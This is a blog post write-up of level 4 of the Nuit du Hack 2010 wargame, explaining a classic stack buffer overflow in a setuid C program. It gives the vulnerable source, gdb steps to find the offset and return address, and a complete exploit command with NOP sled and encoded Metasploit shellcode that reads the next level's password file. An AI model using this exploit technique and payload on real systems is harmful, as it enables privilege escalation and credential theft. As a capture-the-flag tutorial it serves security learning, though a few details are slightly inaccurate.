lundi 9 août 2010

lvl4 wargame NDH2010 - buffer overflow (english version)

level4 wargame NDH 2010 - tutorial exploitation of a buffer overflow

This article describes the resolution of the french "Nuit du Hack 2010" wargame level3 test. This is a classic exploitation of a buffer overflow.


./level4 guest1 $(perl -e 'print "A"x16 . "\x10\xf7\xff\xbf" . "\x90"x200 . "\xda\xd5\xd9\x74\x24\xf4\x5e\x56\x59\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x42\x4a\x44\x4b\x50\x58\x4c\x59\x50\x52\x45\x36\x45\x38\x46\x4d\x43\x53\x4d\x59\x4a\x47\x42\x48\x46\x4f\x42\x53\x43\x58\x45\x50\x42\x48\x46\x4f\x43\x52\x42\x49\x42\x4e\x4c\x49\x4d\x33\x50\x52\x4a\x48\x44\x55\x45\x50\x43\x30\x45\x50\x45\x33\x45\x31\x44\x34\x51\x30\x46\x4e\x46\x4e\x46\x4f\x42\x4c\x42\x45\x42\x56\x42\x45\x42\x4c\x47\x45\x46\x4f\x44\x30\x45\x31\x44\x33\x43\x43\x44\x37\x43\x54\x43\x30\x50\x57\x51\x43\x4c\x49\x4d\x31\x48\x4d\x4b\x30\x41\x41"')


list the current directory
level4@srv-public:~$ ls -all
total 36
dr-xr-x---  2 level4 level4 4096  1 janv.  2008 .
drwxr-x--x 24 root   root   4096 18 juin  18:19 ..
lrwxrwxrwx  1 root   root      9 28 mai   16:09 .bash_history -> /dev/null
-rw-r--r--  1 root   root    220 12 mai    2008 .bash_logout
-rw-r--r--  1 root   root   3116 12 mai    2008 .bashrc
-r-sr-x---  1 level5 level4 5149 16 juin  11:06 level4
-rw-------  1 level4 level4  663 16 juin  10:55 level4.c
-r--r-----  1 level4 level4    7  1 janv.  2008 passwd
-rw-r--r--  1 root   root    675 12 mai    2008 .profile

Here is the source code:

#include < stdio.h>
#include < stdlib.h>
#include < string.h>

// gcc -o level4 level4.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2

int checkIdent(char *login, char *pwd)
    char buffer[8] = {'\0'};
    int i;

    strcpy(buffer, login);
    buffer[strlen("guest1")] = '\0';

    if(strcmp(buffer, "guest1"))
        return 0;

    strcpy(buffer, pwd);
    buffer[strlen("guest1")] = '\0';

    if(strcmp(buffer, "guest1"))
        return 0;

    return 1;

int main(int argc, char *argv[])
    if(argc != 3) {
        printf("%s \n", argv[0]);

    if(checkIdent(argv[1], argv[2])) {
        printf("Logged :)\n");

    printf("Oh noes\n");
    return 0;

What can you learn reading it?

First, program was compiled with options:
-fno-stack-protector = stack smashing protector is desactivated <=> no canary before the return address
-z execstack = stack can be executed
-mpreferred-stack-boundary=2 = stack is aligned on words of 2 characters (instead of 4)

This means you'll be able to execute a shellcode from the stack and replace the return address for the exploitation (see references for more informations about these protections).

buffers are initialized in function checkIdent(). The return address of this function will be used to jump on the payload.

The program uses strcpy() 2 times: one for passwd, the other for login without checking the buffer size. But the 6th character of the buffer is replaced by a NULL byte ( buffer[strlen("guest1")] = '\0'; ). So, the seven first characters of the buffer can't be used to place the shellcode.

Login buffer is created first, then passwd. So, the exploit will be put in passwd.

As the program is executed as EUID level5, we just need to execute " cat ../level5/passwd".

See the buffer overflow:
level4@srv-public:~$ ./level4 guest1 aaaaaaaaaaaaaaa
Oh noes
Erreur de segmentation

level4@srv-public:~$ ./level4 guest1 aaaaaaaaaaaaaaaa
Erreur de segmentation

The same with username:
level4@srv-public:~$ ./level4 aaaaaaaaaaaaaaa guest1
Oh noes
Erreur de segmentation

level4@srv-public:~$ ./level4 aaaaaaaaaaaaaaaa guest1
Erreur de segmentation

Buffer is definitly too small to put a shellcode inside. So, the payload will be put after the return address.

generate payload

Use metasploit to generate the payload.

the result encoded in alpha-upper:

 * linux/x86/exec - 180 bytes
 * Encoder: x86/alpha_upper
 * PrependSetresuid=false, PrependSetreuid=false,
 * PrependSetuid=false, PrependChrootBreak=false,
 * AppendExit=false, CMD=cat ../level5/passwd
unsigned char buf[] =

The payload's length is 180 bytes. This will be useful further.

Where to put the payload?

gdb is available on the server. Use it to find the return address of function checkIdent().

$ gdb ./level4

Tip: use ...AABBBCAA... to find the buffer size, before return address and verify the stack is little-endian.

First: check how many bytes there are before the return address. The buffer is 8 bytes long and ebp is 4 bytes long. So start from 12 (8+4):

(gdb) run guest1 $(perl -e 'print "A"x12 . "BBBC"')
Starting program: /home/level4/level4 guest1 $(perl -e 'print "A"x12 . "BBBC"')

Program received signal SIGSEGV, Segmentation fault.
0x08048515 in checkIdent ()

BBBC do not appear. start again with 2 more bytes:

(gdb) run guest1 $(perl -e 'print "A"x14 . "BBBC"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/level4/level4 guest1 $(perl -e 'print "A"x14 . "BBBC"')

Program received signal SIGSEGV, Segmentation fault.
0x08004342 in ?? ()


(gdb) run guest1 $(perl -e 'print "A"x16 . "BBBC"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/level4/level4 guest1 $(perl -e 'print "A"x16 . "BBBC"')

Program received signal SIGSEGV, Segmentation fault.
0x43424242 in ?? ()

Here is BBBC.

remark: as the stack is little-endian, "C" (0x43) is put on the end (left) of the word. Do not forget to reverse the order of bytes in the address we'll find. The compilator reserved more bytes to the buffer than necessary: this happens often.

Find return address

List the assembler code of function checkIdent() to find where a breakpoint can be put:

(gdb) disassemble checkIdent
Dump of assembler code for function checkIdent:
   0x08048494 <+0>:    push   %ebp
   0x08048495 <+1>:    mov    %esp,%ebp
   0x08048497 <+3>:    sub    $0x14,%esp
   0x0804849a <+6>:    movl   $0x0,-0xc(%ebp)
   0x080484a1 <+13>:    movl   $0x0,-0x8(%ebp)
   0x080484a8 <+20>:    mov    0x8(%ebp),%eax
   0x080484ab <+23>:    mov    %eax,0x4(%esp)
   0x080484af <+27>:    lea    -0xc(%ebp),%eax
   0x080484b2 <+30>:    mov    %eax,(%esp)
   0x080484b5 <+33>:    call   0x804838c
   0x080484ba <+38>:    movb   $0x0,-0x6(%ebp)
   0x080484be <+42>:    movl   $0x8048650,0x4(%esp)
   0x080484c6 <+50>:    lea    -0xc(%ebp),%eax
   0x080484c9 <+53>:    mov    %eax,(%esp)
   0x080484cc <+56>:    call   0x80483bc
   0x080484d1 <+61>:    test   %eax,%eax
   0x080484d3 <+63>:    je     0x80484dc
   0x080484d5 <+65>:    mov    $0x0,%eax
   0x080484da <+70>:    jmp    0x8048515
   0x080484dc <+72>:    mov    0xc(%ebp),%eax
   0x080484df <+75>:    mov    %eax,0x4(%esp)
   0x080484e3 <+79>:    lea    -0xc(%ebp),%eax
---Type to continue, or q to quit---
   0x080484e6 <+82>:    mov    %eax,(%esp)
   0x080484e9 <+85>:    call   0x804838c
   0x080484ee <+90>:    movb   $0x0,-0x6(%ebp)
   0x080484f2 <+94>:    movl   $0x8048650,0x4(%esp)
   0x080484fa <+102>:    lea    -0xc(%ebp),%eax
   0x080484fd <+105>:    mov    %eax,(%esp)
   0x08048500 <+108>:    call   0x80483bc
   0x08048505 <+113>:    test   %eax,%eax
   0x08048507 <+115>:    je     0x8048510
   0x08048509 <+117>:    mov    $0x0,%eax
   0x0804850e <+122>:    jmp    0x8048515
   0x08048510 <+124>:    mov    $0x1,%eax
   0x08048515 <+129>:    leave
   0x08048516 <+130>:    ret
End of assembler dump.

Tip: put a breakpoint on the RET instruction of the function where the buffer is allocated.

Put a breakpoint on the instruction <+130>
(gdb) break * checkIdent+130
Breakpoint 1 at 0x8048516

Now run program. Be careful! the size of the arguments for our trial must be the same for the real exploitation. Indeed, the arguments are pushed on the stack before the function call. If we use a different size, the stack before the return address will be different and so will be the return address.
The payload is 180 bytes long. The return address is 4 bytes long. Use a large spare set of NOPs: 200 bytes. Total is: 16 + 4 + 200 + 180 = 400 bytes.

Remark: using only 16 bytes of NOPs works in gdb, but not in live execution. Remember that the debugged program is not level5 UID. We must run it directly.

Tip: Use a large amount of NOPs to jump into the payload

(gdb) run guest1 $(perl -e 'print "A"x400')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/level4/level4 guest1 $(perl -e 'print "A"x200')

Breakpoint 1, 0x08048516 in checkIdent ()

Step one instruction
(gdb) stepi
0x41414141 in ?? ()

Check the top stack address (esp):
(gdb) info registers esp
esp            0xbffff710    0xbffff710

And see the stack state:
(gdb) x/16x $esp-32
0xbffff660:    0x08048505    0xbffff6fc        0x08048650    0x41414141
0xbffff670:    0x41004141    0x41414141    0x41414141    0x41414141
0xbffff680:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff690:    0x41414141    0x41414141    0x41414141    0x41414141

So the stack is like:

 |  Ax6       |    A   |  Ax9   |   eip    |        NOP                    |    exploit          |
                     ^                 ^           ^                                  ^
         ajout 0x00     0xbffff66c  0xbffff660                     0xbffff728

Now find the address using "BBBC":

(gdb) run guest1 $(perl -e 'print "A"x16 . "BBBC" . "A"x400')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/level4/level4 guest1 $(perl -e 'print "A"x16 . "BBBC" . "A"x400')

Breakpoint 1, 0x08048516 in checkIdent ()
(gdb) stepi
0x43424242 in ?? ()

Remark: without the spare NOPs, the return address would have been: 0xbffff720 (ie \x20\xf7\xff\xbf in little endian ). But 0x20 is 'SP' in ascii which is interpreted by the shell to split our argument in two parts.

Tip: avoid \x00 and \x20 characters in return address

delete the breakpoint:
(gdb) delete 1

Now add the return address chosen to jump approximatly in the middle of NOPs: 0xbffff710).

(gdb) run guest1 $(perl -e 'print "A"x16 . "\x10\xf7\xff\xbf" . "\x90"x200 . "\xda\xd5\xd9\x74\x24\xf4\x5e\x56\x59\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x42\x4a\x44\x4b\x50\x58\x4c\x59\x50\x52\x45\x36\x45\x38\x46\x4d\x43\x53\x4d\x59\x4a\x47\x42\x48\x46\x4f\x42\x53\x43\x58\x45\x50\x42\x48\x46\x4f\x43\x52\x42\x49\x42\x4e\x4c\x49\x4d\x33\x50\x52\x4a\x48\x44\x55\x45\x50\x43\x30\x45\x50\x45\x33\x45\x31\x44\x34\x51\x30\x46\x4e\x46\x4e\x46\x4f\x42\x4c\x42\x45\x42\x56\x42\x45\x42\x4c\x47\x45\x46\x4f\x44\x30\x45\x31\x44\x33\x43\x43\x44\x37\x43\x54\x43\x30\x50\x57\x51\x43\x4c\x49\x4d\x31\x48\x4d\x4b\x30\x41\x41"')

Starting program: /home/level4/level4 guest1 $(perl -e 'print "A"x16 . "\x10\xf7\xff\xbf" . "\x90"x200 . "\xda\xd5\xd9\x74\x24\xf4\x5e\x56\x59\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x42\x4a\x44\x4b\x50\x58\x4c\x59\x50\x52\x45\x36\x45\x38\x46\x4d\x43\x53\x4d\x59\x4a\x47\x42\x48\x46\x4f\x42\x53\x43\x58\x45\x50\x42\x48\x46\x4f\x43\x52\x42\x49\x42\x4e\x4c\x49\x4d\x33\x50\x52\x4a\x48\x44\x55\x45\x50\x43\x30\x45\x50\x45\x33\x45\x31\x44\x34\x51\x30\x46\x4e\x46\x4e\x46\x4f\x42\x4c\x42\x45\x42\x56\x42\x45\x42\x4c\x47\x45\x46\x4f\x44\x30\x45\x31\x44\x33\x43\x43\x44\x37\x43\x54\x43\x30\x50\x57\x51\x43\x4c\x49\x4d\x31\x48\x4d\x4b\x30\x41\x41"')
process 28017 is executing new program: /bin/bash
process 28017 is executing new program: /bin/cat
cat: ../level5/passwd: Permission denied

Program exited with code 01.

It works, but of course gdb can't access level5. Quit gdb
(gdb) q

run the shellcode
./level4 guest1 $(perl -e 'print "A"x16 . "\x10\xf7\xff\xbf" . "\x90"x200 . "\xda\xd5\xd9\x74\x24\xf4\x5e\x56\x59\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x42\x4a\x44\x4b\x50\x58\x4c\x59\x50\x52\x45\x36\x45\x38\x46\x4d\x43\x53\x4d\x59\x4a\x47\x42\x48\x46\x4f\x42\x53\x43\x58\x45\x50\x42\x48\x46\x4f\x43\x52\x42\x49\x42\x4e\x4c\x49\x4d\x33\x50\x52\x4a\x48\x44\x55\x45\x50\x43\x30\x45\x50\x45\x33\x45\x31\x44\x34\x51\x30\x46\x4e\x46\x4e\x46\x4f\x42\x4c\x42\x45\x42\x56\x42\x45\x42\x4c\x47\x45\x46\x4f\x44\x30\x45\x31\x44\x33\x43\x43\x44\x37\x43\x54\x43\x30\x50\x57\x51\x43\x4c\x49\x4d\x31\x48\x4d\x4b\x30\x41\x41"')


- Wikipedia buffer overflow protection -
- fno-stack-protector -
- z execstack -
- mpreferred-stack-boundary -
- Nibbles -introduction à gdb -
- Ghosts in the stack - tutoriel buffer overflows -
- Ghosts in the stack - tutoriel shellcodes -

Aucun commentaire:

Enregistrer un commentaire